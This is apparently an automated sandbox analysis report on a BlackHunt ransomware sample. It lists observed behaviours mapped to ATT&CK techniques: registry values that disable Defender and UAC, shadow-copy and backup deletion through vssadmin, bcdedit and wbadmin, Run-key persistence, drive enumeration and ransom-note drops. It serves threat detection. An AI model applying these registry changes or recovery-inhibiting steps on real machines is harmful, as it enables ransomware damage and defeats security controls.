51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4

Data Destruction

T1485

pid	Process
5628	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
1664	bcdedit.exe
5988	bcdedit.exe

Renames multiple (706) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
6016	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\U:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\A:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\X:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\R:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\P:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\O:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\L:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\V:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\N:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\W:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\J:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\K:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\B:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\I:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\S:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\E:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\H:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\Z:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\G:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\M:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\Y:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\icu_web.md	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zu\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jsse.jar	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\lua\intf\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-cn.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\glib.md	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightRegular.ttf	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\hijrah-config-umalqura.properties	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\README.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\#BlackHunt_ReadMe.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\NEWS.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uz-cyrl.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mr\LC_MESSAGES\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\cue.luac	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\et.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\psfontj2d.properties	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ml\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\#BlackHunt_ReadMe.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\vlc.mo	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hu\LC_MESSAGES\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\bcel.md	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\vlc.mo	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\dotnet\swidtag\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\logging.properties	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#BlackHunt_ReadMe.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\GRAY.pf	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\anevia_streams.luac	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mn.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spc.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\dynalink.md	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tr\#BlackHunt_ReadMe.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\directshow.md	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nb\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jpeg.md	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\mux\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\snmp.acl.template	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\limited\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\playlist.json	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_mixer\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\Java\jre-1.8\legal\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\amd64\#BlackHunt_ReadMe.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\Java\jre-1.8\lib\cmm\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\libpng.md	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\vlm_export.html	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunmscapi.jar	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\Reference Assemblies\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\th.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
6340	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
6900	vssadmin.exe
7004	vssadmin.exe
7036	vssadmin.exe
7080	vssadmin.exe
6460	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Token: SeRestorePrivilege	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Token: SeBackupPrivilege	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Token: SeTakeOwnershipPrivilege	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Token: SeAuditPrivilege	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Token: SeSecurityPrivilege	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Token: SeIncBasePriorityPrivilege	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Token: SeBackupPrivilege	2160	vssvc.exe
Token: SeRestorePrivilege	2160	vssvc.exe
Token: SeAuditPrivilege	2160	vssvc.exe
Token: SeBackupPrivilege	6844	wbengine.exe
Token: SeRestorePrivilege	6844	wbengine.exe
Token: SeSecurityPrivilege	6844	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4380 wrote to memory of 4684	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	91
PID 4380 wrote to memory of 4684	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	91
PID 4380 wrote to memory of 3752	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	93
PID 4380 wrote to memory of 3752	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	93
PID 4684 wrote to memory of 1640	4684	cmd.exe	94
PID 4684 wrote to memory of 1640	4684	cmd.exe	94
PID 4380 wrote to memory of 5080	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	96
PID 4380 wrote to memory of 5080	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	96
PID 4380 wrote to memory of 3984	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	98
PID 4380 wrote to memory of 3984	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	98
PID 4380 wrote to memory of 1668	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	99
PID 4380 wrote to memory of 1668	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	99
PID 5080 wrote to memory of 1876	5080	cmd.exe	102
PID 5080 wrote to memory of 1876	5080	cmd.exe	102
PID 3752 wrote to memory of 436	3752	cmd.exe	103
PID 3752 wrote to memory of 436	3752	cmd.exe	103
PID 4380 wrote to memory of 2040	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	104
PID 4380 wrote to memory of 2040	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	104
PID 4380 wrote to memory of 1828	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	106
PID 4380 wrote to memory of 1828	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	106
PID 4380 wrote to memory of 4824	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	108
PID 4380 wrote to memory of 4824	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	108
PID 4380 wrote to memory of 4232	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	110
PID 4380 wrote to memory of 4232	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	110
PID 4380 wrote to memory of 3968	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	128
PID 4380 wrote to memory of 3968	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	128
PID 4380 wrote to memory of 3940	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	111
PID 4380 wrote to memory of 3940	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	111
PID 4380 wrote to memory of 1472	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	113
PID 4380 wrote to memory of 1472	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	113
PID 4380 wrote to memory of 4732	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	112
PID 4380 wrote to memory of 4732	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	112
PID 4380 wrote to memory of 3280	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	124
PID 4380 wrote to memory of 3280	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	124
PID 4380 wrote to memory of 2972	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	116
PID 4380 wrote to memory of 2972	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	116
PID 4380 wrote to memory of 1300	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	123
PID 4380 wrote to memory of 1300	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	123
PID 4380 wrote to memory of 3404	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	121
PID 4380 wrote to memory of 3404	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	121
PID 4380 wrote to memory of 4204	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	120
PID 4380 wrote to memory of 4204	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	120
PID 4380 wrote to memory of 4604	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	135
PID 4380 wrote to memory of 4604	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	135
PID 4380 wrote to memory of 3860	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	134
PID 4380 wrote to memory of 3860	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	134
PID 4380 wrote to memory of 1584	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	133
PID 4380 wrote to memory of 1584	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	133
PID 4380 wrote to memory of 4676	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	132
PID 4380 wrote to memory of 4676	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	132
PID 4380 wrote to memory of 4408	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	154
PID 4380 wrote to memory of 4408	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	154
PID 4380 wrote to memory of 1284	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	140
PID 4380 wrote to memory of 1284	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	140
PID 3984 wrote to memory of 2424	3984	cmd.exe	139
PID 3984 wrote to memory of 2424	3984	cmd.exe	139
PID 4380 wrote to memory of 3172	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	138
PID 4380 wrote to memory of 3172	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	138
PID 4380 wrote to memory of 452	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	142
PID 4380 wrote to memory of 452	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	142
PID 1668 wrote to memory of 4336	1668	cmd.exe	137
PID 1668 wrote to memory of 4336	1668	cmd.exe	137
PID 4380 wrote to memory of 2816	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	146
PID 4380 wrote to memory of 2816	4380	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	146

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
